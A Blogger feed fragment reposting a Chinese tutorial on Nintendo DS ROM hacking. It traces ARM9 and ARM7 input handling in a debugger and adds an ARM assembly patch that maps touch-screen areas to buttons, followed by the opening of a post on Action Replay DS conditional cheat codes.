/&gt;这个功能可以简单的理解为在光标所指定的地方下一个断点~然后放程序运行~当运行到指定地方的时候~自然就会被断下~这个功能是唯一取代下断的方法~不过遗憾的是~这样全程序就只能下一个断点~很多逻辑结构就无从分清~&lt;br /&gt;另外这个功能还可以用来事先步过~在跟踪看到调用命令时（ARM里的调用命令是bl *****）将光标指定到该命令下一行~然后F6~然后就顺利步过了~&lt;br /&gt;&lt;br /&gt;五，开始着手实际调试吧~&lt;br /&gt;对于一个刚刚上手的程序~我们对其结构~特征地址~重要子程序~重要内存标示~都一无所知~所以我们需要选择一个尽量单纯的和确定性的地方开始我们的调试~&lt;br /&gt;按照经验来说~最符合这个条件的地方便是程序的开头~&lt;br /&gt;&lt;br /&gt;先试试一路步过~让程序跑跑会怎样~&lt;br /&gt;一 路F8,F6~在顺利通过几个调用指令后~出现了异常情况~:某个调用指令一步过后游戏的开头LOGO便播出来了~这便说明~OP的处理程序在这里调用的 那个子程序之中~因为OP中有识别A键跳过LOGO的功能~所以就是说在这段OP程序里肯定能找到我们需要找的按键识别程序~&lt;br /&gt;记下这个调用指令的地址和调用的地址~重置调试器~直接F6到该指令~然后F8步入~&lt;br /&gt;&lt;br /&gt;继续对于子程序内的代码步过~发现需要的内容后便步入~并一路记录进入的地址~&lt;br /&gt;最后可以找到一个子程序~在LOGO显示出来后~游戏调用这个子程序~对其直接步过的话~进入一段时间的延时~而且延时中途可以按键取消~&lt;br /&gt;很显然这个就是我们要找的程序了~&lt;br /&gt;&lt;br /&gt;大致记录一路过来的地址~大致会像这样~:&lt;br /&gt;2000bec OP LOGO&lt;br /&gt;&lt;br /&gt;206e1c8 bl 0x0206e24c ;r12=3ff(调用26b30),亮屏&lt;br /&gt;&lt;br /&gt;206e1dc logo1&lt;br /&gt;206e3ec&lt;br /&gt;206e47c blt 0x0206E440 按键延时&lt;br /&gt;最后这行的调用便是延迟部分了~&lt;br /&gt;&lt;br /&gt;六，寻找按键输入识别程序&lt;br /&gt;刚才的部分我们找到了开头LOGO里的延时程序~接下来我们要从这段程序里找到按键识别用的程序~&lt;br /&gt;前面之所以要从开头下手~就是因为在这段相对单纯的LOGO处理程序里找我们的目标~肯定比在游戏进程中找要来的简单的多~&lt;br /&gt;&lt;br /&gt;要找东西~就要有明确的标志来告诉我们~要找的东西究竟是还未到~还是已经过了~因为这次我们是在延迟程序里搜按键的处理程序~所以当然是看延迟是否跳过来判断按键处理程序的位置了~&lt;br /&gt;&lt;br /&gt;具体的操作比较有意思:&lt;br /&gt;从 延迟程序开始~一路往下F8~看到bl,blt等调用指令的时候停住~把光标落到下一行准备步过~这个时候按住模拟器设定的DS的A键位~然后再按下 F6~然后松开A键~这样~如果按键识别程序是在步过的这个调用里的话~那么马上F5放开程序任其运行~应该游戏就马上跳过LOGO了~相反~如果说要找 的那程序不在这段调用里~那么F5放行后~应该还照常有一段延迟~LOGO才过去~&lt;br /&gt;因此很方便就能判定按键识别程序是否在这某个调用里~一路用这个方法找进去~并且记录下地址~应该就能像以下这样~&lt;br /&gt;206e440: bl 0x02026b30 ;call 按键检测&lt;br /&gt;2026b6c: bl 0x02026c54 ;检测按键·里&lt;br /&gt;2026c5c: bl 0x01ff84f0 ;检测按键·里2&lt;br /&gt;读键部分:&lt;br /&gt;1ff84f0(20a1ff0): ldr r2,0x04000130&lt;br /&gt;....&lt;br /&gt;1ff84f8(20a1ff8): ldrh r12,[r2]&lt;br /&gt;最终发现~就是以上的最后一行~在对于按键的检测起作用~这行的意思是:&lt;br /&gt;把r2寄存器所指定的地址的内容读入r12寄存器~而r2的内容就是上面那行所指定的0x0400130&lt;br /&gt;这样便清晰了~这条就是读按键寄存器4000130来检查按键的语句了~&lt;br /&gt;无疑~只要在这里下断放入我们的修改程序~虽然不能改变4000130的内容~但是只要窜改r12的内容~对于后面程序的影响也无异于改按键了~所以这个地址就是我们HACK ROM的入口地址了~请一定记住~&lt;br /&gt;&lt;br /&gt;但是相信稍微有点DS程序经验的人看到这个地址一定会觉得十分的奇怪~按道理来说~DS的内存空间是从地址0x02000000开始的~但是这个程序的地址却是0x01ff84f8~居然在内存空间之前~&lt;br /&gt;其 实这个地址所在的区域叫做ITCM  简单的说~就是DS所提供的一块高速缓存~因为只靠一味提高CPU主频速度来增加代码的运行速度~只能导致严重的发热和耗电问题~这个对于掌机是十分不利 的~所以滑头的老N在DS里提供了大量的高速缓存部分用以存放一些需要频繁访问的内容~以上这段按键识别命令无疑符合这个前提~所以被载入了ITCM而非 内存中~&lt;br /&gt;那么这段代码本来如果要线性载入会被载入哪里呢？~这个问题关系到修改ROM的时候要在ROM文件的哪里来找这个代码的问题~&lt;br /&gt;解决方法是~随意找一段该部分的16进制代码~然后在CT2中搜索~搜到后~切换到反汇编模式~这时候看到的这个代码前面对应的地址就是线性载入时候对应的地址了~俺前面那个记录里括号里的(20a1ff8)就是这个线性地址~&lt;br /&gt;&lt;br /&gt;不过这样只是解决了除了X,Y以外的其他按键的问题~那么X,Y和触摸屏的问题如何解决呢？~&lt;br /&gt;&lt;br /&gt;接着我们顺便看看刚才找到的那段识别按键的代码~&lt;br /&gt;01ff84f0: ldr r2,0x4000130&lt;br /&gt;01ff84f4: ldr r1,0x27fffa8&lt;br /&gt;01ff84f8: ldrh r12,[r2]&lt;br /&gt;01ff84fc: ldrh r3,[r1]&lt;br /&gt;这里的第1和第3行就是刚才分析的读4000130的代码~相信大家都注意到这里第2和第4行~形式和1~3差不多~功能就是读取0x027fffa8这个地址的内容到r3~&lt;br /&gt;基于这里是按键识别程序~而且4000130只能读出部分按键~不难猜测出~这个27fffa8定然是用来读取剩下的X,Y按键的地址~&lt;br /&gt;继续分析这个地址~27fffa8~和4000130一样~都不在正常的内存空间之内~但是4000130是I/O寄存器~而这个27fffa8所在的地方是DS内一段ARM7与ARM9共享的内存区域~也就是说~这里的数据通常都是用于ARM7和ARM9通信之用的~&lt;br /&gt;那么结合我前面介绍的基本知识~不难得出结论~这个27fffa8所在的地方必然是通信用IPC结构的地址~&lt;br /&gt;&lt;br /&gt;用上面的方法~我们无法找到触摸的识别程序或者识别地址~因为游戏里没有任何一个部分会对触摸进行实际响应~&lt;br /&gt;但是通过上面的部分~我们找到了IPC结构的地址~这个非常重要~因为X,Y键信息是和触摸屏信息一起被放入IPC的~所以触摸信息必然在27fffa8周围~&lt;br /&gt;（而且最重要的一点在于~似乎不同ROM~不同游戏所用的IPC结构都是一模一样的~也就是说在共享内存中的地址都是一样~这个对于其他ROM的调试来说~无疑是找到了一条超便利的捷径~）&lt;br /&gt;&lt;br /&gt;通过按下X,Y键~观察IPC中的数据变化~很快找到了按键与那个地址内容的对应情况~但是让人十分费解的一点是~无论如何点击触摸屏~对于该块数据都毫无影响~&lt;br /&gt;难道说是之前的推论错误嘛？~显然应该不是这个原因~真正的原因在于~由于RY传说从头到尾都没有使用过触摸屏~所以这个功能根本一开始就被封印了~……&lt;br /&gt;&lt;br /&gt;七，研究触摸~就需要研究能触摸的游戏~&lt;br /&gt;刚才的研究无疑收获不浅~相当多有用的信息都顺利得到~甚至可以说除了触摸以外的所有问题都顺利解决了~但是无法忽视的是~那个结果确实也给人当头一棒~:&lt;br /&gt;RY传说压根就没有触摸识别程序~……&lt;br /&gt;&lt;br /&gt;为了确认这点~并且深度研究触摸的作用过程~当然我们首先需要的就是一款能够触摸的游戏~我选用的是过去的一款电击文库~因为是单纯的电子小说~所以代码应该相对比较简单~而且该游戏是支持全程触摸的~&lt;br /&gt;&lt;br /&gt;打开游戏~随意运行下后暂停在开始的标题菜单选项那里~其实放哪里都无所谓~只是我觉得这里因为只要不点中选项可以一直保持状态~所以很方便~&lt;br /&gt;先F5放行~随意点住触摸屏上一个点~然后F4暂停~因为刚才我们已经找到IPC地址了~所以这次当然省掉了不少麻烦的步骤~直接将内存观测窗切到27fff80来观察一下这部分数据~&lt;br /&gt;就算一次看不出来~多点几次也能很快发现~原本在RY传说里对应XY识别的27fffa8,a9两格之后是一串00的~但是这次后面4格里却有了数据~&lt;br /&gt;在不点触摸屏的时候是 00 00 00 06 而当点住后便是 ** ** ** 01 上面**之处的数据稍微分析下可以发现 *a b* cd 01 里面 ba 组成X轴坐标 cd 组成Y轴坐标~而最后那个01当然就是指的触摸屏被按下的状态~&lt;br /&gt;&lt;br /&gt;到此~关于触摸的IPC也找到了~欣然以为问题都解决了？~可是面前还有个超严峻的问题~……RY传说的触摸屏可是被关闭的啊~……&lt;br /&gt;为了解决这个问题~俺的第一反映是去ARM7里找答案~&lt;br /&gt;&lt;br /&gt;八，对于ARM7的种种研究&lt;br /&gt;因为要研究触摸屏~所以依旧使用电子小说的ROM~将调试器切换到ARM7模式~F5放行一下~不同于ARM9~并不会有什么明显的反映~&lt;br /&gt;&lt;br /&gt;随意暂停一下~会发现有很大几率程序会停在BIOS段里的一个返回指令bx lr上~而且虽然lr寄存器有值~但是无论怎么F8~都无法继续跟踪~这种现象叫做软中断简称swi~是底层程序所惯用的一种手段~暂时不用深究~&lt;br /&gt;&lt;br /&gt;偶尔暂停会停在可以跟踪的地方~这时候一路遇见bl就F6步过~遇见bx lr就F8跟出~应该很快就可以跟踪到一个循环执行的程序~找到循环后记下其实和循环跳转的地址~然后再多试几次暂停~&lt;br /&gt;&lt;br /&gt;非常奇怪的是有一点~似乎暂停后跟踪到的主循环~还有很多不同版本~……可能几次跟踪出来的循环的地址和内容都不同~而且每一个循环都无疑是最外层主循环~没有跳转出去的指令~&lt;br /&gt;&lt;br /&gt;因为之前已经记录下地址~所以用F6分别到不同的循环进行功能考察~&lt;br /&gt;具 体做法其实也很简单~因为ARM7是直接访问硬件~然后把信息写入IPC的~所以只用故意窜改IPC的内容和实际不符合~然后观察何时被修正回来~就知道 起作用的指令在哪里了~因为我们要考察的是触摸屏~所以选择了27fffad这个地址~因为这个地址在没有触摸的时候为06有的时候为01~&lt;br /&gt;在循环之初把该地址强制设定为01~然后对每一个bl调用都F6步过~因为现在的状况是没有触摸的~所以一旦到达触摸判定的程序~必然会导致该地址由01变成06~&lt;br /&gt;&lt;br /&gt;对于几个循环都分别测试后~发现了很奇怪的结论~&lt;br /&gt;大多循环在循环的过程中01都会变成06~但是时机却完全没有一点规律~在每一个bl处都有可能会变掉~……&lt;br /&gt;不过有奇怪的当然也会有正常的~在找到的几个循环里有一个~他的01到06的切换是非常严格的符合在某个调用语句内的~顺着这个调用一路找~最终不难找到了ARM7真正的识别触摸屏的程序~&lt;br /&gt;3804628(238C7D8)~3804678&lt;br /&gt;&lt;br /&gt;3804634: bl 37fcccc &amp;nbsp; ;key&lt;br /&gt;&lt;br /&gt;380465c: bl 3804b74 &amp;nbsp; ;touch&lt;br /&gt;3804c18: bl 380516c &amp;nbsp; ;touch code to 380a878&lt;br /&gt;28055c4: ldr r1,40001c0&lt;br /&gt;38055c8: ldrh r0,[r1] ;read touch by reg&lt;br /&gt;这个循环不但处理触摸~按键的处理也在这里完成~无疑~这个循环就是ARM7的输入处理程序了~&lt;br /&gt;&lt;br /&gt;因此抱着试一试的心态~俺把这个电子小说的ARM7给替换了RY传说原本的ARM7~然后调试替换后的RY传说的ROM~&lt;br /&gt;&lt;br /&gt;游戏在载入后存档处有点不顺（卡在初始存档那）~这个是换ARM7在模拟器上经常出现的症状~而且我们在乎的也不是这个~于是无视就可以了~&lt;br /&gt;&lt;br /&gt;进 入调试模式~看IPC~……非常遗憾~在本应该是触摸信息的那个地方依旧是一串00~……于是~继而切换到ARM7调试模式~找到刚才的那个输入处理循 环~F6~下断~等着程序暂停到那里方便研究~可是一等不停~二等不停~……事实上就是根本不会停在那里~……结论是~这个循环压根就没被执行~……&lt;br /&gt;为什么？~明明这个ARM7在之前的ROM里会很好的处理触摸~为啥在RY传说里就根本不执行那段了呢？~&lt;br /&gt;&lt;br /&gt;于 是俺找到原RY传说的ARM7~对一些特征指令进行搜索后惊讶的发现~虽然地址和极小部分细节不同~但是其实原ARM7里也有处理触摸的那段程序~不仅如 此~可以说2个ARM7除了一些无关紧要的细节和程序对应的地址有差异以外~根本就是一模一样的~……也就是说决定那段代码是否运行的~是ARM7的代码 之外的其他某些原因~……&lt;br /&gt;&lt;br /&gt;为了搞清这个外因是什么~我们再回到对电子小说的ROM的研究~&lt;br /&gt;之前研究ARM7~一直是从中途来找循环的~这次我们从开头开始~&lt;br /&gt;因为ARM7的代码十分有趣~虽然刚进入程序的时候是被载入在2380000开头的区域的~但是跟踪一段后~会发现前面的部分为类似解压的功能~将真正的arm7代码载入到3800000开头的一段区域里~&lt;br /&gt;继续跟踪一段后~终于进入了主循环~这次的主循环是真正意义上的ARM7根循环~不同于前面找到的那些~某种程度上只是中断调用~&lt;br /&gt;让我们看看主循环的代码~除了几个无关紧要的数据处理程序外~有一个调用十分有趣~这段代码里起作用的只有一句~&lt;br /&gt;3804502: swi 0x06&lt;br /&gt;这个swi语句~就俺来说是十分陌生的~上网GOOGLE了一番后得知~这个就是ARM的软中断调用指令~而swi 06具体对应的功能是swiHalt~也就是暂停~……&lt;br /&gt;也就是说对于主循环来说~他真正在做的事情~只是维护少部分数据~然后暂停进程~并进入等待~等待其他中断处理程序给他解禁~……&lt;br /&gt;&lt;br /&gt;事到如此~貌似一点进展都没有~依旧没能搞清楚~究竟是什么原因导致重要的触摸循环没被执行~但是事到如此~却有个非常暴力的解决方法~:在ARM7主循环里强制插入对触摸识别程序的调用~&lt;br /&gt;&lt;br /&gt;3803c90(0238be78):读输入循环&lt;br /&gt;3803cc4(0238beac):调用读TOUCH&lt;br /&gt;37f842c(02380614):主循环开头&lt;br /&gt;37f8450(0238063c):主循环结束跳转&lt;br /&gt;具体做法倒是比较简单~把主循环的循环跳转指令依照上先前记录的数据（括号里是线性载入地址~也就是ROM文件里的线性地址）~重新定位到识别触摸的程序调用那里~然后把调用的下一行改成跳转~重新指回主循环的开头~&lt;br /&gt;&lt;br /&gt;因为不同ROM的ARM7文件本质上都是一样的~但是随意替换会导致模拟器或者烧录卡的兼容问题~所以俺修改的是RY传说的原始ARM7~&lt;br /&gt;&lt;br /&gt;到 现在~之前说的3个问题~按键识别地址~触摸识别地址~下断地址~以及中途出现的新问题~触摸被关闭的问题~全部解决~这样用ARM汇编简单的写段将屏幕 不同区域和按键进行对位的小程序~然后插到arm9的空白部分~设定好跳转后~配合之前修改的arm7~打包成新ROM~&lt;br /&gt;&lt;br /&gt;放到IDEAS 上运行~BINGO！~一切顺利~顺利的用触摸屏控制按键~正准备烧到机器上玩的时候~随手用NO$GBA运行了一下~……结果只有一个字~艹！~……居 然完完全全的一点用没有~……触摸部分依旧被完全关闭……然后俺又不甘心的给烧到了卡上……果然还是没用……触摸依然不行~……结论只有一个~因为 ARM7的作用机理十分复杂~强制对其进行暴力修改~虽然在某些模拟器上可以正常运作~但是在实际DS上却是无法行的通的~……&lt;br /&gt;&lt;br /&gt;九，回到ARM9~换个思路找出路~&lt;br /&gt;受到刚才ARM7修改的打击~只好重新将思路转回ARM9~因为还是触摸问题~所以依旧是研究电子小说的ROM~&lt;br /&gt;&lt;br /&gt;用刚才在ARM7曾用过的找触摸程序的改27fffad的方法~来跟踪arm9代码~因为有之前的种种经验~这次很顺利的找到了触摸的IPC改变前后~在ARM9执行的程序~&lt;br /&gt;2000d84: bl 0x0200b070 ;key &amp;amp; touch&lt;br /&gt;200b128: bl 0x0204e1a8 ;touch-&amp;gt;&lt;br /&gt;204e1b4: bl 0x0204ddf0 ;touch--&amp;gt;&lt;br /&gt;从最后一行的那里跟入~会发现204ddf处所对应的程序是一个类似死循环的部分~&lt;br /&gt;204ddf0: ldr r1,0x2094568&lt;br /&gt;204ddf4: ldrh r2,[r1+0x36]&lt;br /&gt;204ddf8: ands r2,r2,r0&lt;br /&gt;204ddfc: bne 0x0204ddf4&lt;br /&gt;204de00: bx lr&lt;br /&gt;以上就是这个子程序的完整代码~唯一的功能只有不断的检查某个内存的值~不符合则继续循环~……&lt;br /&gt;然而奇怪的是~这个程序明明只有读取没有写入~应该不会改变任何内存的值~也就是说这个循环应该永远不可能跳出的啊~可是事实上在bx lr处按F6却顺利出来了~而且就是在出来的这个时候~IPC上被强制改错的触摸值~也会被修正过来~&lt;br /&gt;因此推测出这个程序的功能是等待ARM7的触摸识别程序处理完而已~&lt;br /&gt;在这里等待~就表示在这不久前面就会是从ARM9发向ARM7的读触摸的请求~&lt;br /&gt;因此回到外层的子程序里~留心一点~不难发现~在这层里有按键处理程序~而且整个的大致结构和RY传说的按键处理程序几乎一模一样~只有一个非常显著的区别~就是在程序尾处多了以下几个调用~&lt;br /&gt;200b120: bl 0x0204e200&lt;br /&gt;200b124: mov r0,r4&lt;br /&gt;200b128: bl 0x0204e1a8&lt;br /&gt;显然~最下面的第二个调用就是刚才跟踪进去的那个~用于等待ARM7处理结束的程序~那么很自然的就能推测出~第一个调用的功能向ARM7发送读触摸请求的了~&lt;br /&gt;&lt;br /&gt;对于这个程序步入跟踪~得到一下的内容~&lt;br /&gt;200b120: bl 0x0204e200 ;FIFO SEND&lt;br /&gt;204e21c: bl 0x0204c458 ;FIFO SEND-&amp;gt;&lt;br /&gt;204c490: ldr r2,0x4000184&lt;br /&gt;204c4e8: ldr r1,0x4000188&lt;br /&gt;程序里分别使用了4000184和4000188这2个接口~看是4打头的就该知道~这2个是I/O接口的寄存器了~而实际上这2个寄存器正是FIFO队列的2个重要寄存器~&lt;br /&gt;关于这个FIFO队列~要说清楚比较麻烦~但是这里只需要搞清楚一点~就是FIFO的用途是ARM7和ARM9的相互通信~这样程序就明了了~204c458这段程序无疑就是向ARM7发送触摸请求的代码了~&lt;br /&gt;&lt;br /&gt;十，完事具备~只欠东风&lt;br /&gt;事情到这里~问题都已经解决了~&lt;br /&gt;1,按键的修改:除了X,Y键以外的~在将按键寄存器读入r12的时候~修改r12的值实现按键修改~而X,Y键则可以直接修改IPC上对应的地址~&lt;br /&gt;2,触摸的识别:直接检测IPC上触摸对应的地址~&lt;br /&gt;3,合适的断点:当然只能是在将4000130读入r12的这一句处~因为是要修改r12~所以若不在这里就一点意义都没有了~&lt;br /&gt;4,触摸屏解封:调用其他rom里的FIFO处理程序向ARM7发送触摸请求~&lt;br /&gt;&lt;br /&gt;现在就是要实际完成ROM修改的时候了~&lt;br /&gt;&lt;br /&gt;主要介绍下如何给触摸屏解封~:&lt;br /&gt;1,首先是从电子小说的ROM中提取FIFO处理程序~地址是204c458的这段程序~值得注意的是他还调用了2个子程序~一次都要提取出来~&lt;br /&gt;2,在自己的修改代码里调用提取出来的程序~值得注意的是~这个子程序是带参数传递的~调用的时候别忘了~&lt;br /&gt;3,设置一个等待程序~用来等待ARM7处理结束~因为原本的标识位涉及到很复杂的工作~所以俺放弃了原程序的等待程序~而是事先给IPC的触摸位赋错值~然后检测何时被更正~来判定ARM7是否执行完成~&lt;br /&gt;4,还原环境~因为FIFO程序比较复杂~基本改变了从r0到r14的所有寄存器~所以在前面的工作都完成后~为了后面的不受到影响~一定要还原之前的环境~&lt;br /&gt;&lt;br /&gt;之后的代码便是简单的捣弄下各个数据之间的转换~完成按键到触摸的映射就可以了~&lt;br /&gt;&lt;br /&gt;等待程序r_wait的代码如下:&lt;br /&gt;S:&lt;br /&gt;stmdb r13!,{r0-r7}&lt;br /&gt;ldr r0,ab1&lt;br /&gt;L:&lt;br /&gt;ldrb r1,[r0]&lt;br /&gt;cmp r1,#0x0&lt;br /&gt;beq L&lt;br /&gt;&lt;br /&gt;ldmia r13!,{r0-r7}&lt;br /&gt;bx lr&lt;br /&gt;ab1: .long 0x027fffad&lt;br /&gt;&lt;br /&gt;主程序main1的代码如下:&lt;br /&gt;S:&lt;br /&gt;stmdb r13!,{r0-r12,r14}&lt;br /&gt;ldr r0,ab1&lt;br /&gt;mov r1,#0x0&lt;br /&gt;strb r1,[r0]&lt;br /&gt;&lt;br /&gt;mov r4,r0&lt;br /&gt;mov r0,#0x6&lt;br /&gt;mov r1,#0x3000000&lt;br /&gt;mov r2,#0x0&lt;br /&gt;bl FIFO_snd&lt;br /&gt;mov r0,r4&lt;br /&gt;bl r_wait&lt;br /&gt;ldmia r13!,{r0-r12,r14}&lt;br /&gt;&lt;br /&gt;ldrh r12,[r2]&lt;br /&gt;stmdb r13!,{r0-r7}&lt;br /&gt;ldr r0,ab1&lt;br /&gt;ldrb r1,[r0]&lt;br /&gt;cmp r1,#0x01&lt;br /&gt;bne ed1&lt;br /&gt;&lt;br /&gt;ldr r0,ab2&lt;br /&gt;ldrh r1,[r0]&lt;br /&gt;mov r3,r1,lsr #0x4&lt;br /&gt;and r3,#0xff&lt;br /&gt;ldr r0,ab3&lt;br /&gt;ldrb r4,[r0]&lt;br /&gt;ldrb r5,x1&lt;br /&gt;ldrb r6,x2&lt;br /&gt;&lt;br /&gt;cmp r4,r5&lt;br /&gt;bcs row2&lt;br /&gt;row1:&lt;br /&gt;cmp r3,r5&lt;br /&gt;bcs c2&lt;br /&gt;c1:&lt;br /&gt;ldrh r12,cm1&lt;br /&gt;b ed1&lt;br /&gt;c2:&lt;br /&gt;cmp r3,r6&lt;br /&gt;bcs c3&lt;br /&gt;ldrh r12,cm2&lt;br /&gt;b ed1&lt;br /&gt;c3:&lt;br /&gt;ldrh r12,cm3&lt;br /&gt;b ed1&lt;br /&gt;row2:&lt;br /&gt;cmp r4,r6&lt;br /&gt;bcs row3&lt;br /&gt;cmp r3,r5&lt;br /&gt;bcs c5&lt;br /&gt;c4:&lt;br /&gt;ldrh r12,cm4&lt;br /&gt;b ed1&lt;br /&gt;c5:&lt;br /&gt;cmp r3,r6&lt;br /&gt;bcs c6&lt;br /&gt;ldrh r12,cm5&lt;br /&gt;b ed1&lt;br /&gt;c6:&lt;br /&gt;ldrh r12,cm6&lt;br /&gt;b ed1&lt;br /&gt;row3:&lt;br /&gt;cmp r3,r5&lt;br /&gt;bcs c8&lt;br /&gt;c7:&lt;br /&gt;ldr r0,ab4&lt;br /&gt;mov r1,#0x24&lt;br /&gt;str r1,[r0]&lt;br /&gt;b ed1&lt;br /&gt;c8:&lt;br /&gt;cmp r3,r6&lt;br /&gt;bcs c9&lt;br /&gt;ldrh r12,cm7&lt;br /&gt;b ed1&lt;br /&gt;c9:&lt;br /&gt;ldr r0,ab4&lt;br /&gt;mov r1,#0x28&lt;br /&gt;str r1,[r0]&lt;br /&gt;&lt;br /&gt;ed1:&lt;br /&gt;ldmia r13!,{r0-r7}&lt;br /&gt;b 1ff84fc&lt;br /&gt;&lt;br /&gt;ab1: .long 0x027fffad&lt;br /&gt;ab2: .long 0x027fffab&lt;br /&gt;ab3: .long 0x027fffac&lt;br /&gt;ab4: .long 0x027fffa9&lt;br /&gt;x1: .byte 0x50&lt;br /&gt;x2: .byte 0xb0&lt;br /&gt;y1: .byte 0x50&lt;br /&gt;y2: .byte 0xb0&lt;br /&gt;cm1: .int 0x03fd&lt;br /&gt;cm2: .int 0x03bf&lt;br /&gt;cm3: .int 0x02ff&lt;br /&gt;cm4: .int 0x03df&lt;br /&gt;cm5: .int 0x03fe&lt;br /&gt;cm6: .int 0x03ef&lt;br /&gt;cm7: .int 0x037f&lt;br /&gt;&lt;br /&gt;代码全部写完也编译好了后~接下来就要LINK链接了~因为格式很不规范~所以么办法用程序来链接~只能手动来完成~&lt;br /&gt;先 用DOS的COPY命令将主要程序main1.o 提取出来的FIFO程序FIFO_snd.o  一同提取出来的FIFO_snd所调用的2个子程序sx2.o 等待程序r_wait.o  全部顺序合成一个文件~然后用CT2打开~找到每个bl调用指令~然后把调用指令的调用地址全部修改正确~这个部分就算完成了~&lt;br /&gt;&lt;br /&gt;最后将之 前完成的那整段程序~全部插入到ARM9文件的空白处（这还不能乱插……程序有点大~势必要覆盖掉一部分东西~找个都是无用信息的地方给塞进去~）~俺插 的是2092800处~然后在20a1ff8处改成跳转到我们代码的指令~（需要注意的是这里实际是被载入到1ff84f8~所以计算跳转差量的时候要用 这个值）~再把我们插入的代码的回跳指令指向那个的下一行~一切就算修改完成了~&lt;br /&gt;&lt;br /&gt;十一，完成~&lt;br /&gt;把这个修改好的ARM9文件~替换原ROM里的ARM9~然后打包运行~所有模拟器~DS实机~皆运行无误~修改成功！~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-5532127518074649?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/5532127518074649/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=5532127518074649' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/5532127518074649'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/5532127518074649'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/08/ds-romhack.html' title='[转]DS ROM深度HACK教程--动态调试操作挂钩篇'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-8829154173301134545</id><published>2010-08-24T23:18:00.001+08:00</published><updated>2010-08-24T23:19:01.317+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Games'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Rom Hack'/><title type='text'>[转]不求人！DIY 自己找寻 NDS 游戏金手指密码_２ (ARDS 条件判断式指令)</title><content type='html'>原文地址：&lt;a href="http://www.ndsbbs.com/read.php?tid=119933"&gt;http://www.ndsbbs.com/read.php?tid=119933&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: medium;"&gt;【 &lt;span style="color: red;"&gt;前 言&lt;/span&gt; 】&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;在第一篇教程推出后，有朋友反映了一个问题，就是使用过 &lt;span style="color: darkred;"&gt;HasteDS&lt;/span&gt; ，发现连系模拟器后，&lt;br /&gt;&lt;span style="color: brown;"&gt;0x&lt;/span&gt;&lt;span style="color: green;"&gt;02000000&lt;/span&gt; 的定址不准确。&lt;br /&gt;另外有朋友说所用的烧录卡不支援金手指，只能使用作弊补丁。&lt;br /&gt;有关 &lt;span style="color: darkred;"&gt;HasteDS&lt;/span&gt; 定址问题，大家可转用其他习惯使用的搜寻工具来搜寻作弊码，&lt;br /&gt;而作弊补丁是以工具对修改后的 Rom 比较原 Rom 后产生的文件，&lt;br /&gt;使用者只需以补丁工具使用该作弊补丁文件写入到原 Rom 即可，&lt;br /&gt;本文(或往后的续篇)将不会详述及示范补丁工具的使用，只示范修改 Rom 的例子，&lt;br /&gt;有关补丁工具的使用，请大家在网上查找一下，很容易就能找到补丁工具及使用说明的了。 &lt;br /&gt;&lt;br /&gt;另外有朋友向本人介绍一个搜寻工具 &lt;span style="color: darkred;"&gt;Renegade v1.67&lt;/span&gt;，&lt;br /&gt;优点 - 是支援　&lt;span style="color: darkred;"&gt;No$gba 2.4a&lt;/span&gt;、搜寻选项及过滤条件很多，与及可以在该工具使用金手指码...&lt;br /&gt;缺点 - (个人认为)是界面复杂及太多与 NDS 无关的功能选项。&lt;br /&gt;有兴趣使用的朋友可在网上找来测试使用。&lt;br /&gt;&lt;br /&gt;本来前天就已写好这第二篇的内容，示范把作弊码找出后转为 &lt;span style="color: darkred;"&gt;DipStar&lt;/span&gt; 金手指，&lt;br /&gt;并配合 Slot-2 卡使用，及验证 &lt;span style="color: darkred;"&gt;HasteDS&lt;/span&gt; 定址的准确性，当完成原稿及截图后，&lt;br /&gt;在版区看到有另外的热心朋友曾发布修改教程，用的是 &lt;span style="color: darkred;"&gt;GM8&lt;/span&gt;，从回帖中也看到此作弊修改工具，&lt;br /&gt;颇受大家欢迎，也很多朋友长期使用这个，而且，似乎更多朋友对静态修改感兴趣，&lt;br /&gt;因此，本人把已写好的原稿及截取的图片删除，重新编写本篇内容，题材也改变了，&lt;br /&gt;不进行验证 &lt;span style="color: darkred;"&gt;HasteDS&lt;/span&gt; 定址的准确性了。(反正验证后的结果就是确定间中会出现定址错误)，&lt;br /&gt;&lt;span style="color: darkred;"&gt;DipStar&lt;/span&gt; 范例也不要了，有使用支援 &lt;span style="color: darkred;"&gt;DipStar&lt;/span&gt; 烧录卡的玩家，应该早已懂得使用的了。&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: medium;"&gt;【 &lt;span style="color: red;"&gt;Action Replay DS 条 件 判 断 式 指 令&lt;/span&gt; 】&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;依照第一篇教程的范例,相信学习者都已懂得自己找寻作弊码了，&lt;br /&gt;但若果只能单调地反覆不停对记忆体写入数据，显然不足以应付不同情况下的使用需要，&lt;br /&gt;幸好 ARDS 提供条件判断式指令，这就令 ARDS 金手指的应用范围大大提高，&lt;br /&gt;现在就先来介绍一些常用的条件判断式指令。&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;9&lt;/span&gt;&lt;span style="color: green;"&gt;XXXXXXX&lt;/span&gt; &lt;span style="color: purple;"&gt;ZZZZ&lt;/span&gt;&lt;span style="color: blue;"&gt;YYYY&lt;/span&gt; ( &lt;span style="color: red;"&gt;等 于&lt;/span&gt; )&lt;br /&gt;&lt;br /&gt;这是条件断判式指令中最常用的一个，检查 &lt;span style="color: green;"&gt;0XXXXXXX&lt;/span&gt; 位址上的值是否等如 